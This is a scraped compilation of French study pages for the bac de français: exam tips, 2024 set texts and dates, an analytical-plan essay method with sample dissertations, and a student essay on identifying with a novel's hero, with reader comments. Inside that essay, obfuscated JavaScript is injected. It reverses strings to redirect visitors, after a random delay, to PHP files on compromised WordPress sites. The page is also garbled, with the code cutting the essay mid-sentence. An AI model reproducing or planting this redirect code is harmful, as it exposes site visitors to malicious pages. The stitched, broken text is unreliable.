Eh oui, c’est un conseil qui peut te surprendre ! Toute ta scolarité, tu as dû entendre qu’il fallait consacrer 10 minutes de ton temps à la relecture. Seulement, on ne va pas se mentir, après quatre heures d’épreuves, la relecture, c’est vraiment pour faire « genre » : mis à part quelques fautes d’orthographe et quelques virgules, ton cerveau déjà bien fatigué n’est pas très efficace. C’est pourquoi, on te conseille plutôt de relire ta copie après chaque nouvelle sous-partie. Autrement dit, relire ta copie toutes les 10/15 minutes. Effectivement, cette technique est très efficace puisqu’elle te permet à la fois de suivre le « fil conducteur de ta copie » et de prévenir le possible hors-sujet. Cette relecture « partie par partie » te permet de gagner en efficacité.
Soigner ta présentation
C’est essentiel pour être bien perçu par ton correcteur. En effet, ce dernier a un grand nombre de copies à corriger, il fatigue et surtout prend peine à bien relire des copies disgracieuses (calligraphie, truffés de fautes d’orthographe, bourrés d’Astérix, etc.), alors facilite-le et il t’en sera reconnaissant. Garde en tête que ta présentation est le « Code de la route de ta copie », alors suis des indications stylistiques pour que le correcteur comprenne ta copie. Tu peux alors par exemple :
- Faire un alinéa (sauter deux ou trois carreaux) à chaque début de paragraphe ;
- sauter une ligne entre chaque sous-parties ;
- Sauter deux lignes entre chaque partie ;
- Aérer ta copie, etc.
Rester simple et concis
N’oublie pas que tu restes un élève de terminale. Tu n’es ni poète, ni journaliste et encore moins romancier. C’est pourquoi, on te conseille de ne pas te lancer dans des phrases trop longues et complexes. Reste simple et factuel. Faire des courtes phrases : sujet / verbe / complément. Évidemment, les fautes d’orthographe, de grammaire et de syntaxe sont aussi à bannir.
Bac français 2024 : les œuvres au programme
Maintenant que tu en sais un peu plus sur la dissertation sur le roman, laisse-nous te rappeler les œuvres au programme du bac de français 2024. En d’autres termes, les œuvres sur lesquelles tu devras plancher au mois de juin prochain.
Cette année encore, 12 ouvrages sont au programme divisés en 4 objets d’étude d’instincts.
La poésie du XIXe siècle au XXIe siècle
- Rimbaud, Cahier de Douai (aussi connu sous les titres Cahiers de Douai, « Recueil Demeny » ou Recueil de Douai ), 22 poèmes, de « Première soirée » à « Ma Bohème (Fantaisie) » / parcours : émancipations créatrices.
- Ponge, La rage de l’expression / parcours : dans l’atelier du poète.
- Hélène Dorion, Mes forêts / parcours : la poésie, la nature, l’intime.
Le roman et le récit du Moyen Âge au XXIe siècle
- Abbé Prévost, Manon Lescaut / parcours : personnages en marge, plaisirs du romanesque.
- Balzac, La Peau de chagrin / parcours : les romans de l’énergie : création et destruction.
- Colette, Sido suivi de Les Vrilles de la vigne / parcours : la célébration du monde.
Le théâtre du XVIIe siècle au XXIe siècle
- Molière, Le Malade imaginaire / parcours : spectacle et comédie.
- Marivaux, Les Fausses Confidences / parcours : théâtre et stratagème.
- Jean-Luc Lagarce, Juste la fin du monde / parcours : crise personnelle, crise familiale.
La littérature d’idées du XVIe siècle au XVIIIe siècle
- Rabelais, Gargantua / parcours : rire et savoir.
- La Bruyère, Les Caractères , livres V à X / parcours : la comédie sociale.
- Olympe de Gouges, Déclaration des droits de la femme et de la citoyenne (du « préambule » au « postambule ») / parcours : écrire et combattre pour l’égalité.
Lire aussi : Bac français 2024 : les œuvres au programme
Calendrier 2024 : Les dates du bac de français
Tu veux connaître les dates des épreuves anticipées de Français cette année ? Eh bien figure-toi que tu es au bon endroit ! Voici un petit récapitulatif des dates importantes à retenir pour le bac de français en 2024 !
- Épreuve écrite : vendredi 14 juin 2024 de 8h à 12h
- Épreuve orale : à partir du 24 juin jusqu’au 5 juillet.
Si tu ne connais pas encore la date exacte de ta convocation pour l’épreuve orale, ne t’inquiète pas. Tu devrais bientôt la recevoir ! Elle te précisera la date et le créneau horaire de ton passage. Cependant, la situation est un peu différente comparé au Grand oral. pour ton épreuve oral, tu ne sais pas précisément à quelle heure tu es convoqué(e). On t’indiquera seulement si tu passes le matin ou l’après-midi, et le jour même, tu découvriras l’ordre de passage des candidats convoqués simultanément.
En d’autres termes, tu pourrais être appelé(e) le matin et ne passer qu’en troisième ou quatrième position, te faisant ainsi passer vers 11 heures après avoir attendu depuis 8 heures. C’est une réalité inévitable du baccalauréat de français, mais essaie de voir cela comme un avantage. Si tu passes en premier, tu en auras fini rapidement, et si tu passes en dernier, tu disposeras de plus de temps pour réviser tes fiches.
Lire aussi : Les dates du bac de français 2024
Tu veux plus d’informations et de conseils pour réussir tes examens et trouver ton orientation ? Rejoins-nous sur Instagram et TikTok !
La catachrèse : exemples de la métaphore oubliée
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- Préparer l'épreuve anticipée de français bac 2025
- Travailler et préparer la séquence "roman" pour l'EAF 2022
Dissertations sur des oeuvres au programme de l'EAF 2022 = objet d'étude, le roman
Disserter sur une oeuvre intégrale bac 2025. 28 sujets corrigés. "le roman" : manon lescaut, la peau de chagrin, sido, mémoires de deux jeunes mariées, prévost manon lescaut, balzac la peau de chagrin, colette sido, les vrilles de la vigne, balzac mémoires de deux jeunes mariées, roman , l'abbé prévost, manon lescaut. parcours "personnages en marge, plaisirs du romanesque".
Le roman et le récit du Moyen Âge au XXIe siècle
Œuvre : Manon Lescaut
Parcours : Personnages en marge, plaisirs du romanesque
Savoir disserter sur une oeuvre intégrale du programme bac séquence "roman"
8 sujets corrigés pour s'entrainer à disserter sur Manon Lescaut de l'abbé Prévost
Consulter les 8 sujets corrigés
parcours bac "la célébration du monde", Sido Colette suivi des Vrilles de la vigne
Œuvre : Colette, Sido et les Vrilles de la vigne
Parcours : "La célébration du monde"
4 sujets intégralement corrigés, 3 sujets d'entraînement et un corrigé en vidéo
Consulter les 8 sujets
parcours bac "les romans de l'énergie : création et destruction" Balzac, La Peau de chagrin
Œuvre : Balzac, La Peau de chagrin
Parcours : "les romans de l'énergie : création et destruction"
Quatre sujets intégralement corrigés et 3 sujets d'entraînement + un corrigé en vidéo
parcours bac "Raison et sentiments", Balzac, Mémoires de deux jeunes mariées
Œuvre : Balzac, Mémoires de deux jeunes mariées
Parcours : "Raison et sentiments"
2 sujets d'entraînement sur Balzac, Mémoires de deux jeunes mariées
Consulter les 2 sujets
Le programme du bac de français 2022
Œuvre : madame de lafayette, la princesse de clèves parcours : individu, morale et société.
Œuvre : Madame de Lafayette, La Princesse de Clèves Parcours : Individu, morale et société
5 sujets corrigés pour s'entrainer à disserter sur La Princesse de Clèves, La Fayette
Consulter les 5 sujets corrigés
Œuvre : Stendhal, Le Rouge et le Noir Parcours : Le personnage de roman : esthétique et valeurs
Œuvre : Stendhal, Le Rouge et le Noir
Parcours : Le personnage de roman : esthétique et valeurs
4 sujets corrigés pour s'entrainer à disserter sur Le Rouge et le Noir de Stendhal
Consulter les 4 sujets corrigés
Marguerite Yourcenar : "Mémoires d'Hadrien"
Œuvre : Marguerite Yourcenar, Mémoires d’Hadrien
Parcours : Soi-même comme un autre
3 sujets corrigés pour s'entrainer à disserter sur Marguerite Yourcenar, Mémoires d’Hadrien
Consulter les 3 sujets corrigés
Pour travailler l'autobiographie
Séquence,"l'autobiographie" . Le fonctionnement de la mémoire et des souvenirs
Les différentes raisons qui peuvent amener à écrire un récit de vie.
Suffit-il de se souvenir pour écrire un récit autobiographique ?
une autobiographie vous parait elle devoir être complétée par la lecture d’une biographie?
Enfance de Nathalie Sarraute, présentation d'un projet autobiographique
Marguerite Yourcenar : "Mémoires d'Hadrien"/ Soi-même comme un autre
Dissertations bac de français l'autobiographie
une autobiographie vous parait elle devoir être complétée par la lecture d’une biographie?L’intérêt des mémoires, des confessions, des autobiographies... Récit, connaissance de soi, soi-même comme un autre -Sarraute, "Enfance". Séries technologiques - Yourcenar : Mémoires d'Hadrien
EAF 2023, séquence roman Abbé Prévost, Manon Lescaut, Balzac, Mémoires de deux jeunes mariées, la Peau de chagrin, Colette Sido
Abbé prévost, manon lescaut / parcours : personnages en marge, plaisirs du romanesque. oeuvre renouvelée bac eaf 2024, exercices bac français prévost, manon lescaut/parcours : personnages en marge, plaisirs du romanesque. evaluez votre niveau, colette sido suivi des vrilles de la vigne. parcours "la célébration du monde". oeuvre renouvelée au bac 2024, exercices bac français colette sido suivi des vrilles de la vigne. parcours "la célébration du monde". evaluez votre niveau, balzac, la peau de chagrin, parcours les "romans de l'énergie", création et destruction. bac 2024, exercices bac français, balzac, la peau de chagrin "les romans de l'énergie", création et destruction. evaluez votre niveau, balzac, mémoires de jeunes mariées, parcours "raison et sentiments". bac 2024, exercices bac français, balzac, mémoires de deux jeunes mariées, parcours "raison et sentiments". evaluez votre niveau, dissertation sur les mémoires d'hadrien,yourcenar, oeuvre au bac 2022, dissertations sur le rouge et le noir, stendhal, oeuvre au programme du bac de français 2022, la princesse de clèves, la fayette, un roman classique ou précieux bac eaf 2022, peut-on dire que le roman "la princesse de clèves" de mme de lafayette propose une morale de l'amour, dans le roman de madame de lafayette, est-ce la raison qui guide la princesse parcours : individu, morale et société, sujet sur une oeuvre au programme, bac 2021, la princesse de clèves, madame de lafayette- antilles guyane, dissertation sur une oeuvre au programme, stendhal, le rouge et le noir, sujet bac 2021, dissertation sur une oeuvre au programme, les mémoires d'hadrien, marguerite yourcenar, sujet bac 2021, selon vous, la princesse de clèves est-il un roman de la dissimulation bac 2022 à l'étranger, le rouge et le noir offre le spectacle d’une volonté qui sait triompher de difficultés invincibles. ce propos éclaire-t-il votre lecture, dans les mémoires d'hadrien, hadrien n'est-il qu'un homme de son temps corrigés bac 2022, disserter sur une oeuvre intégrale, roman : madame de lafayette, la princesse de clèves, 5 sujets corrigés, disserter sur une oeuvre intégrale, roman : stendhal, le rouge et le noir, 3 sujets corrigés, disserter sur une oeuvre intégrale, roman : marguerite yourcenar : "mémoires d'hadrien", 3 sujets corrigés, dissertations bac de français 2022, l'autobiographie, suffit-il de se souvenir pour écrire un récit autobiographique bac de l'eaf 2022, une autobiographie vous parait elle devoir être complétée autant que possible par la lecture d’une biographie, a partir de la citation de nerval, vous réfléchirez aux différentes raisons du goût actuel pour la lecture d’œuvres autobiographiques.
Date de dernière mise à jour : 28/06/2024
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- Quiz Rimbaud "Cahiers de Douai", parcours "Emancipations créatrices"
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5 exemples de dissertation littéraire avec plan analytique.
Voici une méthode pour rédiger une dissertation avec un plan analytique . Ce type de plan permet d’analyser un sujet en suivant une structure logique : d’abord un constat, puis les causes, et enfin les conséquences ou solutions. Cette méthode est adaptée aux sujets nécessitant une description et une analyse approfondie.
Méthode de Dissertation avec Plan Analytique
Étape 1 : comprendre et analyser le sujet.
- Lisez attentivement le sujet pour bien en comprendre les termes.
- Identifiez les mots-clés qui indiquent la nature du sujet (ex : causes, conséquences, impacts).
- Définissez la problématique en une question qui résume l’enjeu central du sujet. Exemple de sujet : « Quels sont les effets de la révolution industrielle ? »
- Problématique : Comment la révolution industrielle a-t-elle transformé la société et l’économie ?
Étape 2 : Élaborer le Plan Analytique
Le plan analytique suit trois étapes principales :
- Constat (ou état des lieux) : Présentez la situation actuelle ou la définition du phénomène.
- Causes : Identifiez les facteurs qui ont conduit à cette situation ou phénomène.
- Conséquences (ou solutions) : Expliquez les effets de ce phénomène ou les solutions possibles pour y répondre.
Plan proposé pour l’exemple :
- I. Constat : Présentation de la révolution industrielle et de ses caractéristiques principales.
- II. Causes : Analyse des causes de la révolution industrielle, comme les avancées technologiques et le besoin économique de croissance.
- III. Conséquences : Exploration des impacts sur la société (urbanisation, conditions de travail) et sur l’environnement.
Étape 3 : Rédiger la Dissertation
Introduction.
- Accroche : Commencez par une phrase engageante en lien avec le sujet.
- Définition et contexte : Définissez brièvement le sujet ou le phénomène et situez-le dans son contexte.
- Problématique : Posez la question qui guidera votre réflexion.
- Annonce du plan : Présentez brièvement les étapes du plan analytique (constat, causes, conséquences). Exemple d’introduction :
- Accroche : « La révolution industrielle a marqué un tournant majeur dans l’histoire économique et sociale. »
- Définition : « Apparue au XVIIIe siècle, elle correspond à l’essor des machines et à l’industrialisation des méthodes de production. »
- Problématique : « Comment la révolution industrielle a-t-elle transformé la société ? »
- Annonce du plan : « Nous analyserons d’abord ses caractéristiques, puis les causes de son apparition, et enfin ses conséquences. »
Développement
- Décrivez la situation ou le phénomène étudié. Dans le cas de la révolution industrielle, expliquez en quoi elle consiste et ses grandes caractéristiques (nouvelles technologies, apparition des usines).
- Utilisez des exemples pour illustrer les aspects centraux. Exemple : « La révolution industrielle est marquée par l’invention de la machine à vapeur et l’essor des industries textiles et métallurgiques. Ces innovations ont bouleversé les méthodes de production. »
- Analysez les facteurs qui ont conduit à l’apparition du phénomène ou de la situation.
- Structurez par thèmes : par exemple, causes technologiques, économiques, et sociales.
- Illustrez chaque cause par un exemple ou un fait. Exemple : « Les avancées technologiques, telles que la machine à vapeur, ont permis une production rapide et massive. Parallèlement, le besoin de croissance économique a encouragé les entrepreneurs à investir dans ces nouvelles technologies. »
III. Conséquences (ou solutions)
- Détaillez les effets ou les solutions en lien avec le sujet.
- Structurez cette partie en fonction des types de conséquences (par exemple, sociales, économiques, environnementales).
- Appuyez chaque effet ou solution avec des exemples concrets. Exemple : « La révolution industrielle a entraîné une urbanisation rapide, provoquant la formation de grandes villes industrielles. Cependant, les conditions de travail difficiles et les salaires bas ont également créé des tensions sociales. »
- Synthèse : Résumez les points clés abordés dans le développement.
- Réponse à la problématique : Fournissez une réponse claire et concise à la question posée en introduction.
- Ouverture : Proposez une réflexion plus large en lien avec le sujet. Exemple de conclusion :
- « La révolution industrielle a transformé l’économie et la société, mais elle a aussi entraîné des conséquences sociales et environnementales. Cette période nous rappelle l’importance de réguler le progrès technologique pour limiter ses effets négatifs. »
Résumé de la Méthode
- Introduction : Accroche, définition, problématique, annonce du plan.
- Développement : Constat, causes, conséquences.
- Conclusion : Synthèse, réponse à la problématique, ouverture.
Cette méthode vous aide à structurer une dissertation analytique de manière claire et logique, en offrant une analyse complète du sujet à travers les étapes de constat, de causes et de conséquences.
Le plan analytique offre plusieurs avantages significatifs lorsqu’il s’agit d’explorer un sujet de manière détaillée et logique. Voici les principaux atouts de ce type de plan :
1. Approche structurée et logique
Le plan analytique suit une progression logique (constat, causes, conséquences ou solutions) qui aide à organiser les idées de manière fluide. Cela rend le développement facile à suivre pour le lecteur ou l’auditeur, chaque étape apportant une compréhension plus approfondie du sujet.
- Exemple : Dans une dissertation sur les causes et conséquences du changement climatique, ce plan permet de présenter d’abord l’état des lieux (constat), les facteurs responsables (causes), puis les impacts (conséquences), offrant ainsi une vue d’ensemble cohérente.
2. Adaptabilité à de nombreux sujets
Le plan analytique s’adapte à une grande variété de thèmes, des sujets scientifiques aux problématiques littéraires et sociales. Il est particulièrement utile pour les sujets descriptifs ou explicatifs qui nécessitent une analyse détaillée de plusieurs aspects sans confrontation directe de points de vue opposés.
- Exemple : Pour un sujet littéraire comme « Comment la société est-elle critiquée dans Madame Bovary ? », le plan analytique permet d’étudier la critique sociale en se concentrant sur les aspects comme la représentation de la bourgeoisie, les causes de l’insatisfaction d’Emma, et les conséquences sur les personnages.
3. Couverture exhaustive du sujet
Le plan analytique encourage une analyse approfondie de chaque aspect d’un sujet, permettant ainsi de couvrir toutes les dimensions essentielles . Cela en fait une méthode efficace pour fournir une vue d’ensemble complète.
- Exemple : Sur un sujet tel que « Quelles sont les causes et conséquences de l’urbanisation rapide ? », le plan analytique permet d’explorer toutes les dimensions de la question : constat de l’urbanisation, identification des causes, et analyse des conséquences sociales, économiques et environnementales.
4. Clarté et rigueur
Avec sa structure bien définie, le plan analytique apporte une clarté dans l’organisation des idées, ce qui aide à éviter les répétitions et les digressions. Chaque partie se concentre sur un aspect spécifique, garantissant un développement rigoureux.
- Exemple : Dans une analyse des effets de la révolution industrielle, le plan analytique peut organiser l’information en trois parties (constat de la révolution, causes économiques et technologiques, et conséquences sociales et environnementales), rendant l’analyse plus précise.
5. Progression fluide et graduelle
En allant du constat aux causes puis aux conséquences, le plan analytique permet de développer le raisonnement de manière progressive , en partant de l’état actuel des choses pour remonter aux origines et en déduire les effets. Cela facilite une compréhension en profondeur du sujet et renforce la cohérence de l’argumentation.
- Exemple : Pour un sujet comme « Quels sont les défis du développement durable ? », on peut d’abord dresser un état des lieux (constat des enjeux), expliquer pourquoi ces défis existent (causes), puis détailler les conséquences de l’inaction en matière de développement durable.
6. Utilisation d’exemples spécifiques
Le plan analytique permet de consolider chaque étape de l’analyse avec des exemples pertinents . Chacune des parties (constat, causes, conséquences) peut être illustrée par des exemples qui rendent les idées plus concrètes et compréhensibles.
- Exemple : Sur le thème de la pollution, chaque partie peut être étayée avec des exemples spécifiques : sources de pollution (constat), raisons industrielles et agricoles (causes), impacts sanitaires et environnementaux (conséquences).
7. Facilité pour synthétiser et conclure
Le plan analytique offre une structure claire qui facilite la synthèse des idées en conclusion. La progression logique permet de résumer chaque étape et d’apporter une réponse globale à la problématique de manière concise.
- Exemple : Dans une dissertation sur les impacts de la mondialisation, la conclusion pourra résumer les constats, causes et conséquences abordés, permettant ainsi de dégager une vision équilibrée des effets de la mondialisation.
En somme, le plan analytique est un outil efficace pour organiser une analyse complète et détaillée d’un sujet. Il apporte clarté, logique, et exhaustivité , permettant d’explorer un sujet sous toutes ses facettes de manière rigoureuse et structurée.
Voici un exemple de dissertation avec un plan analytique . Le plan analytique permet d’examiner un sujet en le divisant en étapes logiques : le constat (ou l’état des lieux), les causes, et les conséquences (ou solutions). C’est idéal pour analyser un phénomène ou une situation de manière approfondie.
Sujet : « Quelles sont les causes et les conséquences de la pollution de l’air ? »
1. introduction.
- Accroche : La pollution de l’air est aujourd’hui l’un des problèmes environnementaux les plus préoccupants, touchant des milliards de personnes dans le monde.
- Définition et contextualisation : Elle résulte de la présence de substances nocives dans l’atmosphère, issues des activités humaines et naturelles, et a des effets dévastateurs sur la santé humaine et l’environnement.
- Problématique : Quelles sont les causes de cette pollution et quelles conséquences engendre-t-elle ?
- Annonce du plan : Nous étudierons d’abord l’état des lieux de la pollution de l’air, puis ses causes principales, et enfin ses conséquences sur la santé et l’environnement.
2. Développement
I. constat : état des lieux de la pollution de l’air.
- Situation mondiale : La pollution atmosphérique est un phénomène global, avec des concentrations de particules fines dangereuses dans de nombreuses grandes villes à travers le monde.
- Chiffres alarmants : Selon l’Organisation mondiale de la santé (OMS), 99 % de la population mondiale respire un air ne respectant pas les normes de qualité recommandées.
- Différentes sources de pollution : Il existe plusieurs types de polluants dans l’air, comme les particules fines (PM2,5 et PM10), le dioxyde de soufre, les oxydes d’azote et l’ozone, chacun ayant des origines spécifiques et des effets variés.
II. Causes : Origines de la pollution de l’air
- Exemple : Les centrales électriques au charbon émettent de grandes quantités de dioxyde de soufre et de particules fines.
- Exemple : Les grandes métropoles comme Pékin ou New Delhi connaissent des niveaux de pollution élevés en raison de la circulation dense.
- Exemple : L’épandage de fumier et d’engrais libère de l’ammoniac dans l’air, un polluant contribuant à la formation de particules fines.
III. Conséquences : Impacts de la pollution de l’air
- Exemple : Des études montrent que les enfants exposés à la pollution de l’air sont plus à risque de développer des maladies respiratoires chroniques, comme l’asthme.
- Exemple : Les pluies acides causées par les polluants atmosphériques nuisent aux forêts et aux cultures agricoles.
- Exemple : L’augmentation de la concentration de gaz à effet de serre dans l’atmosphère entraîne des épisodes de canicule et des sécheresses plus fréquentes.
3. Conclusion
- Synthèse des points clés : La pollution de l’air, causée par les activités industrielles, les transports et l’agriculture, a des conséquences désastreuses sur la santé humaine, les écosystèmes et le climat.
- Réponse à la problématique : Pour lutter contre ce phénomène, des mesures drastiques et une coopération internationale sont nécessaires pour réduire les émissions polluantes.
- Ouverture : Cette question nous amène à réfléchir à l’importance d’adopter des modes de vie plus durables et à encourager le développement de technologies plus respectueuses de l’environnement.
Ce plan analytique permet d’aborder la pollution de l’air sous tous ses aspects, en offrant un constat précis, une analyse des causes et une évaluation des conséquences . Il s’agit d’une méthode idéale pour analyser un phénomène en profondeur tout en structurant l’information de manière claire et logique.
Voici un exemple de dissertation littéraire avec un plan analytique , en utilisant l’œuvre Madame Bovary de Gustave Flaubert. Ce plan analytique permet de détailler un sujet en trois parties : un constat (analyse de l’état des lieux ou des faits), les causes, et les conséquences.
Sujet : « Comment Flaubert critique-t-il la société dans Madame Bovary ? »
- Accroche : Publié en 1857, Madame Bovary est un roman de Gustave Flaubert qui a provoqué une polémique pour son portrait de la bourgeoisie provinciale et de la société de son époque.
- Présentation de l’œuvre : À travers le destin tragique d’Emma Bovary, une femme insatisfaite et rêveuse, Flaubert dresse une critique acerbe de la société bourgeoise, des conventions sociales et des illusions romantiques.
- Problématique : Comment Flaubert utilise-t-il le personnage d’Emma Bovary pour critiquer la société de son époque ?
- Annonce du plan : Nous examinerons d’abord la représentation de la bourgeoisie provinciale, puis nous analyserons les causes du mal-être d’Emma, avant de voir les conséquences de cette critique sociale sur le destin des personnages.
I. Constat : La représentation de la bourgeoisie provinciale
- Exemple : Charles Bovary, médecin de campagne dévoué mais limité, incarne cette médiocrité passive et sans envergure, incapable de comprendre les aspirations de sa femme.
- Exemple : Le bal chez le marquis d’Andervilliers révèle les tensions sociales et les aspirations d’Emma, qui rêve de ce monde élégant mais superficiel.
- Exemple : Le pharmacien Homais, qui se prend pour un intellectuel, incarne ce manque de profondeur et de véritable culture, tout en se targuant d’une science de façade.
II. Causes : Les raisons du mal-être d’Emma et de sa rébellion
- Exemple : Ses lectures de romans sentimentaux lui inspirent une vision idéalisée de l’amour et de la vie, nourrissant une frustration face à sa propre réalité.
- Exemple : Emma se marie avec Charles pour échapper à sa vie monotone, mais elle découvre vite que son mariage ne comble pas ses aspirations et lui semble même une prison.
- Exemple : Elle se lance dans des aventures amoureuses et des achats extravagants pour tenter d’échapper à son ennui, mais cela ne fait qu’aggraver son mal-être.
III. Conséquences : L’impact de la critique sociale sur le destin des personnages
- Exemple : Emma, endettée par ses dépenses excessives, finit par se suicider, incapable d’assumer les conséquences de ses actes et de trouver une issue.
- Exemple : Charles, qui idolâtre sa femme même après sa mort, découvre ses lettres d’amour à Rodolphe, ce qui le détruit définitivement.
- Exemple : Le pharmacien Homais, malgré son hypocrisie et sa bêtise, triomphe socialement en obtenant la Légion d’honneur, soulignant l’absurdité et la vacuité des honneurs dans cette société.
- Synthèse des points clés : À travers le portrait d’Emma et des personnages provinciaux, Flaubert critique la société bourgeoise, ses conventions et ses illusions.
- Réponse à la problématique : Madame Bovary révèle l’étroitesse d’esprit de la bourgeoisie et l’aliénation qu’elle impose aux individus, particulièrement aux femmes.
- Ouverture : Cette critique de la société bourgeoise chez Flaubert invite à réfléchir à la condition des femmes au XIXe siècle et à la quête d’émancipation dans la littérature.
Cet exemple de dissertation littéraire montre comment structurer un plan analytique en détaillant les différentes dimensions d’une problématique, ici la critique sociale chez Flaubert dans Madame Bovary . Ce plan offre une analyse méthodique de l’œuvre, en expliquant d’abord le constat (la description de la bourgeoisie), les causes (le mal-être d’Emma) et les conséquences (le destin tragique des personnages et la satire sociale).
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Mes cours de lycée
Pour partager et aider grâce à mon expérience, dissertation sur le roman.
Un roman est un miroir que lon promène le long dune route, Stendhal. Dissertez.
Introduction
Pour apprécier un roman, est-il nécessaire que le lecteur se reconnaisse et partage les sentiments du personnage principal?
I Pour apprécier, le lecteur a besoin de s’identifier
Le roman est un récit fictif qui raconte les aventures d’un personnage imaginaire. Le lecteur apprécie plus facilement le roman lorsqu’il se sent plus proche du personnage principal.
A) Plus facilement compréhensible, le personnage possède des caractères humains
Le lecteur peut s’identifier au personnage ce qui permet de mieux comprendre le récit et se sentir concerné. Le lecteur peut s’identifier plus facilement au personnage principal lorsqu’il vit dans un cadre de vie réel et possède des caractères humains. Le lecteur rencontre en effet un personnage qui a les mêmes préoccupations du quotidien. Dans les romans réalistes du XIXe siècle par exemple, le romancier s’attache à décrire le personnage dans ses moindres détails de l’apparence à sa psychologie avec la volonté de transcrire le réel. Dans le roman du Père Goriot , Balzac raconte l’ascension d’Eugene Rastignac dans la société de l’ancien règime. Il décrit le personnage principal Eugène Rastignac de façon très précise avec un souci du détail vrai. Le lecteur peut alors s’identifier au personnage qui lui ressemble. De même, l’identification au personnage principal est plus simple lorsqu’il vit dans un cadre de vie réel. Emile Zola raconte, dans le roman L’Assommoir, la déchèance dune ouvrière, Gervaise Macquart, dans les faubourgs parisiens de l’ancien régime. Zola évoque avec minutie les diffèrents quartiers de Paris. Un lecteur parisien va se sentir proche du personnage principal et situer plus facilement le récit, ce qui va faciliter l’appréciation du roman.
B) Il possède les mêmes valeurs, les mêmes expériences et se pose les mêmes questions que le personnage. Il se sent compris et s’intéresse au destin du personnage.
C)il vit des aventures du personnage principal en résonnance. il peut vivre des aventures uniques..
Par ailleurs, le lecteur apprécie le roman en s’identifiant au personnage principal car il va pouvoir vivre les « en résonance » les aventures. Le lecteur va en effet s’imaginer à la place du personnage. De même, par exemple en s’identifiant au personnage de Fhileas Fogg du roman d’aventure Le Tour du Monde en Quatre-Vingt Jours de Jules Vernes, le lecteur vit les aventures par procuration ce qui est très plaisant. Le lecteur espère naturellement la réussite des héros qu’il accompagne, et le succès que le personnage rencontre est souvent proportionnel à l’élan que le lecteur peut ressentir dans sa lecture. Le lecteur peut ainsi s’évader et oublier le quotidien. C’est d’ailleurs un des principes du roman policier o๠l’on attend que l’enquêteur résolve l’énigme.
TRANSITION: Certes l’identification permet au lecteur d’apprécier le roman mais certaines situations l’identification au personnage parait comme difficile voire impossible ainsi que partager des sentiments avec le personnage principal. Pour autant le lecteur peut apprécier le roman.
II L’identification n’est $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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A) le lecteur peut ne pas sidentifier au personnage., b) le personnage n’est qu’ tre de papier dont l’épaisseur psychologique est limitée, c) des personnages trop stéréotypés.
Que le lecteur s’identifie ou non au personnage principal, il ne s’attache pas uniquement au personnage principal pour apprécier le roman. Le roman n’est que composé du personnage principal ?
III Que le lecteur sidentifie ou non au personnage principal, il ne sattache pas uniquement au personnage principal pour apprécier le roman. On ne peut réduire un roman quau personnage principal. Dautres éléments sont à lorigine de la réussite dun roman.
A) l’importance de l’intrigue, b) le rà´le de l’écriture, c) un roman est un moyen de faire réfléchir le lecteur, 9 reflexions sur “ dissertation sur le roman ”.
Merci beaucoup pour cette dissert, vous m’avez sauvé la vie pour mon devoir à rendre !! Elle est hyper bien rédigée cette dissertation, vous aviez quelle note ? Continuez ainsi!!
Merci pour ce commentaire très sympa!! J’avais eu 15/20 🙂 L’admin
Top cette dissert merci 🙂
Merci !!! Super rédaction, par rapport à moi en tout cas 😉
Bonjour , j’ai une dissertation à faire dans deux jour mais j’arrive pas pouvez m’aider svp Le sujet c’est pour apprécier un roman,un lecteur à t-il besoin de s´identifier au personnage principal et de partager ses sentiments ? Merci de votre compréhension et de me répondre au plus vite !
Salut elle est super cette dissertation. J’ai eu 16. Merci. Mon prof nous propose un autre sujet : La société est elle le seul obstacle à la réussite du personnage ambitieux ? Pour répondre à cet question vous vous appuierez essentiellement sur le roman le rouge et le noir de Stendhal ainsi que vos lectures perosnnelles . Peux tu m’aider ?
mec, tu viens sans doute de me sauver la vie MERCI très bien écrit, je me prosterne
Tant mieux ! Pas besoin de se prosterner 😂😂 Bon confinement
Si t’en a d’autres comme ça fait péter bg
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Conclusion de la dissertation : la méthode
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Si tu es comme beaucoup de mes élèves, tu penses que la conclusion de dissertation a pour but de résumer les étapes de ton développement avant de proposer une ouverture.
Or cela n’est pas suffisant !
Certes, la conclusion fait le bilan des étapes de ton raisonnement, mais son rôle va au-delà : il s’agit du paragraphe final de ton devoir qui doit clore le débat soulevé dans ta copie.
Ta conclusion doit ainsi faire apparaître une réponse finale ferme et définitive au problème posé en introduction .
Pour cela, ta conclusion doit suivre 3 étapes, qui permettent d’aller du particulier au général :
1 – Rappelle les étapes de ton développement 2 – Propose une réponse ferme et définitive à la question 3 – Fais une ouverture
1 – Rappelle les étapes de ton développement
Dresse un bilan (ou rédige une courte synthèse) des étapes de ton développement. Par exemple, si tu as suivi un plan dialectique, rappelle la thèse, l’antithèse et la synthèse.
Dans la mesure du possible, ne répète pas ton annonce de plan à l’identique. Utilise des synonymes pour reformuler l’essentiel de ton raisonnement de façon originale.
2 – Propose une réponse ferme et définitive à la question
